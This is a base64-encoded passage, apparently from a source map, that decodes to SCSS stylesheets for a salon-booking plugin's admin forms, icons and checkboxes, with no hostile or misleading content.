SwwLDAsMC0uNzYtMi4zNDZsLTYuMjc2LS45MTVMMTQuMTY2Ljc2NGExLjM3NiwxLjM3NiwwLDAsMC0yLjQ2NiwwWicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoOC44NzYgMC4wMDEpJyBmaWxsPSclMjNmZmRkNTAnLyUzRSUzQy9zdmclM0UgXCIpO1xuXHR9XG59XG4uc2xuLWljb251cmktLWFycm93IHtcblx0YmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHdpZHRoPScxOCcgaGVpZ2h0PScyNicgdmlld0JveD0nMCAwIDE4IDI2JyUzRSUzQ3JlY3QgaWQ9J1JldHRhbmdvbG9fNScgZGF0YS1uYW1lPSdSZXR0YW5nb2xvIDUnIHdpZHRoPScxOCcgaGVpZ2h0PScyNicgZmlsbD0ncmdiYSgyNTUsMjU1LDI1NSwwKScvJTNFJTNDcGF0aCBpZD0nSWNvbl9tYXRlcmlhbC1zdWJkaXJlY3RvcnktYXJyb3ctcmlnaHQnIGRhdGEtbmFtZT0nSWNvbiBtYXRlcmlhbC1zdWJkaXJlY3RvcnktYXJyb3ctcmlnaHQnIGQ9J00yNCwxOS4ybC03LjIsNy4yLTEuNy0xLjdMMTkuNCwyMC40SDZWNkg4LjRWMThoMTFMMTUuMSwxMy43LDE2LjgsMTJaJyB0cmFuc2Zvcm09J3RyYW5zbGF0ZSgtNiAtNiknIGZpbGw9JyUyM2JiZmRhMicvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbn1cbkBtaXhpbiBzbG4taWNvbnVyaS0tbGlzdF90YWJzKCR0eXBlOiBsaXN0LCAkY29sb3IpIHtcblx0QGlmICR0eXBlID09IGxpc3Qge1xuXHRcdGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB3aWR0aD0nMzInIGhlaWdodD0nMjgnIHZpZXdCb3g9JzAgMCAzMiAyOCclM0UlM0NwYXRoIGlkPSdVbmlvbmVfMycgZGF0YS1uYW1lPSdVbmlvbmUgMycgZD0nTTExLDI4VjIwSDMydjhaTTAsMjhWMjBIOXY4Wk0xMSwxOFYxMEgzMnY4Wk0wLDE4VjEwSDl2OFpNMTEsOFYwSDMyVjhaTTAsOFYwSDlWOFonIGZpbGw9JyN7JGNvbG9yfScvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcblx0fSBAZWxzZSBpZiAkdHlwZSA9PSB0YWJzIHtcblx0XHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgd2lkdGg9JzMyJyBoZWlnaHQ9JzI4JyB2aWV3Qm94PScwIDAgMzIgMjgnJTNFJTNDcGF0aCBpZD0nVW5pb25lXzQnIGRhdGEtbmFtZT0nVW5pb25lIDQnIGQ9J00wLDI4VjhIMzJWMjhaTTAsOFYwSDlWOFpNMjIsNlYwaDlWNlpNMTEsNlYwaDlWNlonIGZpbGw9JyN7JGNvbG9yfScvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcblx0fVxufVxuIiwiQHVzZSAnLi4vc2V0dGluZ3MtbWl4aW5zJztcbkB1c2UgJ2ljb25zLWRhdGF1cmknO1xuQHVzZSAnLi4vYWRtaW5fY29uZmlnJztcbkB1c2UgJy4uL2NvbG9ycyc7XG5AdXNlICcuLi9jb2xvcnMtbnUnO1xuQHVzZSAnLi4vdHlwby1hZG1pbic7XG5cbiNzbG4tc2Fsb24tLWFkbWluLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlciB7XG4gICVzbG4taW5wdXQge1xuICAgIGlucHV0Om5vdChbdHlwZT0nYnV0dG9uJ10pOm5vdChbdHlwZT0ncmVzZXQnXSk6bm90KFt0eXBlPSdzdWJtaXQnXSk6bm90KFxuICAgICAgICBbdHlwZT0naW1hZ2UnXVxuICAgICAgKSxcbiAgICBpbnB1dC5mb3JtLWNvbnRyb2wsXG4gICAgdGV4dGFyZWEge1xuICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgICAtd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7XG4gICAgICBib3gtc2hhZG93OiBub25lO1xuICAgICAgYm9yZGVyOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQoMSk7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KDEpO1xuICAgICAgQGV4dGVuZCAlZm9udC1iaWc7XG4gICAgICBAZXh0ZW5kICVmb250LWNsX21haW47XG4gICAgICBmb250LXNpemU6IDEuMTI1cmVtO1xuICAgICAgbWluLWhlaWdodDogMy4zM3JlbTtcbiAgICAgIHBhZGRpbmc6IDAuNDVyZW0gMXJlbTtcbiAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICB0cmFuc2l0aW9uOlxuICAgICAgICBib3JkZXItY29sb3IgMTAwbXMsXG4gICAgICAgIGJhY2tncm91bmQtY29sb3IgMjUwbXM7XG4gICAgICBAaW5jbHVkZSBhZG1pbl9jb25maWcucGxhY2Vob2xkZXItY29sb3IoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1tZWRpdW0pO1xuICAgICAgJltkaXNhYmxlZD0nZGlzYWJsZWQnXSB7XG4gICAgICAgIG9wYWNpdHk6IDAuNTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1iZy0tbGlnaHRlcjtcbiAgICAgIH1cbiAgICAgICY6Zm9jdXMsXG4gICAgICAmOmFjdGl2ZSB7XG4gICAgICAgIC8vYmFja2dyb3VuZC1jb2xvcjogc2xuLW51Y29sb3ItLW1haW4oMC4xKTtcbiAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC44KTtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuMyk7XG4gICAgICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiBzbG4tbnVjb2xvci0tbWFpbigwLjEpO1xuICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiBzbG4tbnVjb2xvci0tbWFpbigwLjEpO1xuICAgICAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuOCk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICAvL21pbi1oZWlnaHQ6IDIuNXJlbTtcbiAgICAgICAgcGFkZGluZzogMC40NXJlbSAwLjY2NnJlbTtcbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4taW5wdXQtLXNpbXBsZTI1IHtcbiAgICAgIGlucHV0Om5vdChbdHlwZT0nYnV0dG9uJ10pOm5vdChbdHlwZT0ncmVzZXQnXSk6bm90KFt0eXBlPSdzdWJtaXQnXSk6bm90KFxuICAgICAgICAgIFt0eXBlPSdpbWFnZSddXG4gICAgICAgICksXG4gICAgICBpbnB1dC5mb3JtLWNvbnRyb2wsXG4gICAgICB0ZXh0YXJlYSB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9pbnB1dC0tYmc7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tZGFya2VzdDtcbiAgICAgIH1cbiAgICAgIGxhYmVsIHtcbiAgICAgICAgcGFkZGluZzogMC4yNXJlbTtcbiAgICAgICAgY29sb3I6IHJnYmEoYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWRhcmtlc3QsIDAuNik7XG4gICAgICB9XG4gICAgfVxuICAgIC8vaW5wdXQge1xuICAgIC8vXHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTBweCk7XG4gICAgLy9cdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDUwcHgpO1xuICAgIC8vfVxuICAgIHRleHRhcmVhLFxuICAgIHRleHRhcmVhI19zbG5fYm9va2luZ19ub3RlIHtcbiAgICAgIG1pbi1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjUwcHgpO1xuICAgIH1cbiAgfVxuICAjc2xuX2Jvb2tpbmctZGV0YWlscyAlc2xuLWlucHV0IHtcbiAgICBpbnB1dDpub3QoW3R5cGU9J2J1dHRvbiddKTpub3QoW3R5cGU9J3Jlc2V0J10pOm5vdChbdHlwZT0nc3VibWl0J10pOm5vdChcbiAgICAgICAgW3R5cGU9J2ltYWdlJ11cbiAgICAgICksXG4gICAgaW5wdXQuZm9ybS1jb250cm9sLFxuICAgIHRleHRhcmVhIHtcbiAgICAgIC8vZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgsIDE2cHgpO1xuICAgICAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbiAgICB9XG4gIH1cbiAgJXNsbi1pbnB1dC1sYWJlbCB7XG4gICAgQGV4dGVuZCAlZm9udC1iaWc7XG4gICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICBmb250LXNpemU6IDFyZW07XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgfVxuICAvLyNzbG5fYm9va2luZy1kZXRhaWxzICVzbG4taW5wdXQtbGFiZWwge1xuICAvL1x0bGFiZWwge1xuICAvL1x0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTRweCwgMTZweCk7XG4gIC8vXHR9XG4gIC8vfVxuICAlc2xuLWlucHV0LWxhYmVsLS1iaWcge1xuICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgIEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTZweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KVxuICAgICAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KSAwO1xuICAgIG1hcmdpbi1ib3R0b206IDA7XG4gIH1cbiAgJXNsbi1pbnB1dC1oZWxwIHtcbiAgICBwIHtcbiAgICAgIEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuICAgICAgQGV4dGVuZCAlZm9udC1jbF9zdGFuZGFyZC0tbWVkaXVtO1xuICAgICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcbiAgICAgIG1hcmdpbjogMDtcbiAgICB9XG4gIH1cbiAgJXNsbi1iaWctYm9yZGVyIHtcbiAgICBib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oM3B4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICB9XG4gICVzbG4tYmlnLWJvcmRlci0tb25ob3ZlciB7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIHRyYW5zaXRpb246IGJvcmRlci1jb2xvciAyNTBtcztcbiAgICAgIGJvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSgzcHgpIHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgJXNsbi1zbWFsbC1ib3JkZXIge1xuICAgIGJvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSgycHgpIHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gIH1cbiAgJXNsbi1zbWFsbC1ib3JkZXItLW9uaG92ZXIge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICB0cmFuc2l0aW9uOiBib3JkZXItY29sb3IgMjUwbXM7XG4gICAgICBib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KSBzb2xpZCB0cmFuc3BhcmVudDtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tZmFrZS1sYWJlbCxcbiAgLnNsbi1nc3QtbGFiZWwtLS0ge1xuICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgIEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcbiAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIG1hcmdpbi10b3A6IDA7XG4gIH1cbiAgLnNsbi1nc3QtbGFiZWwge1xuICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgb3BhY2l0eTogMDtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICBtYXJnaW4tdG9wOiAwO1xuICAgIC8vbWFyZ2luLWJvdHRvbTogLTAuMTZyZW07XG4gICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpO1xuICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgIEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtbGFiZWw7XG5cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIC8vbWFyZ2luLWJvdHRvbTogLTAuMThyZW07XG4gICAgfVxuICB9XG4gIC8vIFVUSUxJVElFUyAvLyBFTkRcblxuICBib2R5Om5vdCguc2Fsb25lX3BhZ2Vfc2Fsb24tc2V0dGluZ3MpOm5vdCguc2Fsb25fcGFnZV9zYWxvbi1zZXR0aW5ncylcbiAgICAuc2xuLWlucHV0LS1vbGRzdHlsZSB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgd2lkdGg6IDEwMCU7XG4gICAgLy9oZWlnaHQ6IDM0cHg7XG4gICAgcGFkZGluZzogNnB4IDEycHg7XG4gICAgZm9udC1zaXplOiAxNHB4O1xuICAgIGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzO1xuICAgIGNvbG9yOiAjNTU1NTU1O1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICBib3JkZXI6IDFweCBzb2xpZCAjY2NjO1xuICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMDc1KTtcbiAgICBib3gtc2hhZG93OiBpbnNldCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjA3NSk7XG4gICAgLXdlYmtpdC10cmFuc2l0aW9uOlxuICAgICAgYm9yZGVyLWNvbG9yIGVhc2UtaW4tb3V0IDAuMTVzLFxuICAgICAgYm94LXNoYWRvdyBlYXNlLWluLW91dCAwLjE1cztcbiAgICAtby10cmFuc2l0aW9uOlxuICAgICAgYm9yZGVyLWNvbG9yIGVhc2UtaW4tb3V0IDAuMTVzLFxuICAgICAgYm94LXNoYWRvdyBlYXNlLWluLW91dCAwLjE1cztcbiAgICB0cmFuc2l0aW9uOlxuICAgICAgYm9yZGVyLWNvbG9yIGVhc2UtaW4tb3V0IDAuMTVzLFxuICAgICAgYm94LXNoYWRvdyBlYXNlLWluLW91dCAwLjE1cztcbiAgfVxuXG4gIC5zbG4taW5wdXQtaGVscCB7XG4gICAgbWF4LXdpZHRoOiA0NDBweDtcbiAgICBAZXh0ZW5kICVmb250LW1lZGl1bTtcbiAgfVxuICAuc2xuLWlucHV0LS1zaW1wbGUge1xuICAgIEBleHRlbmQgJXNsbi1pbnB1dDtcbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICBtYXJnaW4tYm90dG9tOiAyLjVyZW07XG4gICAgbGFiZWwge1xuICAgICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsO1xuICAgIH1cbiAgICAuaXRpX19mbGFnLWNvbnRhaW5lciB7XG4gICAgICB3aWR0aDogNHJlbTtcbiAgICAgIC5pdGlfX3NlbGVjdGVkLWZsYWcge1xuICAgICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgICBncmlkLXRlbXBsYXRlOiBhdXRvIC8gMWZyIDE2cHg7XG4gICAgICAgIGp1c3RpZnktaXRlbXM6IGNlbnRlcjtcbiAgICAgICAgYWxpZ24taXRlbXM6IGVuZDtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjEpO1xuICAgICAgICB9XG4gICAgICAgIC5pdGlfX2ZsYWcge1xuICAgICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICB9XG4gICAgICAgIC5pdGlfX3NlbGVjdGVkLWRpYWwtY29kZSB7XG4gICAgICAgICAgZ3JpZC1yb3c6IDI7XG4gICAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgICAgYWxpZ24tc2VsZjogc3RhcnQ7XG4gICAgICAgICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgICAgICAgbWFyZ2luLXRvcDogNHB4O1xuICAgICAgICAgICY6ZW1wdHkge1xuICAgICAgICAgICAgbWFyZ2luLXRvcDogMDtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgLml0aV9fYXJyb3cge1xuICAgICAgICAgIGdyaWQtcm93OiAxIC8gc3BhbiAyO1xuICAgICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICAgIGFsaWduLXNlbGY6IGNlbnRlcjtcbiAgICAgICAgICBib3JkZXItd2lkdGg6IDhweCA2cHggMCA2cHg7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgI3NhbG9uX3NldHRpbmdzX3Ntc19wcmVmaXgge1xuICAgICAgcGFkZGluZy1sZWZ0OiA1cmVtO1xuICAgIH1cbiAgICAjX3Nsbl9ib29raW5nX3Bob25lIHtcbiAgICAgIHBhZGRpbmctbGVmdDogNC4yNXJlbTtcbiAgICB9XG4gIH1cbiAgLnNsbi1jaGVja2JveCB7XG4gICAgbGFiZWwge1xuICAgICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsLS1iaWc7XG4gICAgfVxuICAgIEBleHRlbmQgJXNsbi1pbnB1dC1oZWxwO1xuICAgIG1hcmdpbi1ib3R0b206IDIuNXJlbTtcbiAgICBpbnB1dCB7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICBtYXJnaW4tbGVmdDogLTk5OTlweDtcbiAgICAgIHZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICB9XG4gICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgd2lkdGg6IGZpdC1jb250ZW50O1xuICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgbWluLXdpZHRoOiAxNnJlbTtcbiAgICAgIG1pbi1oZWlnaHQ6IDMuMzNyZW07XG4gICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDEuNXJlbSBhdXRvO1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGdhcDogMXJlbTtcbiAgICAgIHBhZGRpbmc6IDAuNXJlbSAxcmVtO1xuICAgICAgbGluZS1oZWlnaHQ6IDEuNDtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgIG91dGxpbmU6IG5vbmU7XG4gICAgICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMCk7XG4gICAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgIH1cbiAgICAgIHNwYW4ge1xuICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIHBhZGRpbmctcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgICB9XG4gICAgICAmOmJlZm9yZSxcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIHdpZHRoOiAxLjVyZW07XG4gICAgICAgIGhlaWdodDogMS41cmVtO1xuICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjE1cztcbiAgICAgICAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIC8vdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgICAvL3RvcDogNTAlO1xuICAgICAgICAvL3JpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE0cHgpO1xuICAgICAgfVxuICAgICAgJjpiZWZvcmUge1xuICAgICAgICB3aWR0aDogMS41cmVtO1xuICAgICAgICBoZWlnaHQ6IDEuNXJlbTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICBiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpO1xuICAgICAgfVxuICAgICAgLyogRklYIDA5MjAyMyBcblx0XHRcdCovXG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGNvbnRlbnQ6ICcgXFxmMDBjJztcbiAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgICAgIGZvbnQtc2l6ZTogMS4xMjVyZW07XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxLjRyZW07XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgIH1cbiAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgICB9XG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgfVxuICAgICAgICAgIC8qIEZJWCAwOTIwMjMgXG5cdFx0XHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRcdFx0Y29sb3I6ICRzbG4tY29sb3ItLWVtcGhhc2lzO1xuXHRcdFx0XHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0Ki9cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgJjphY3RpdmUge1xuICAgICAgICAmOmJlZm9yZSxcbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbCB7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMSk7XG4gICAgICB9XG4gICAgICAvKiBGSVggMDkyMDIzIFxuXHRcdFx0Ki9cbiAgICAgICY6YWZ0ZXIsXG4gICAgICAmOmhvdmVyOmFmdGVyIHtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIH1cbiAgICB9XG4gICAgLypcblx0XHRsYWJlbCBzcGFuIHtcblx0XHRcdC8vIFVTRUQgRk9SIEVNUEhBU0lTXG5cdFx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0XHRwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdFx0XHRmb250LXdlaWdodDogNzAwO1xuXHRcdH1cblx0XHQqL1xuICAgICYuc2xuLWNoZWNrYm94LS1jaGVja29ubHkge1xuICAgICAgZ3JpZC10ZW1wbGF0ZTogMCAvIDFmcjtcbiAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICBtaW4td2lkdGg6IDEwMCU7XG4gICAgICAgIGdhcDogMDtcbiAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIH1cblxuICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICY6aG92ZXIsXG4gICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgJjpiZWZvcmUge1xuICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICY6YmVmb3JlLFxuICAgICAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbCB7XG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlcixcbiAgICAgICAgICAmO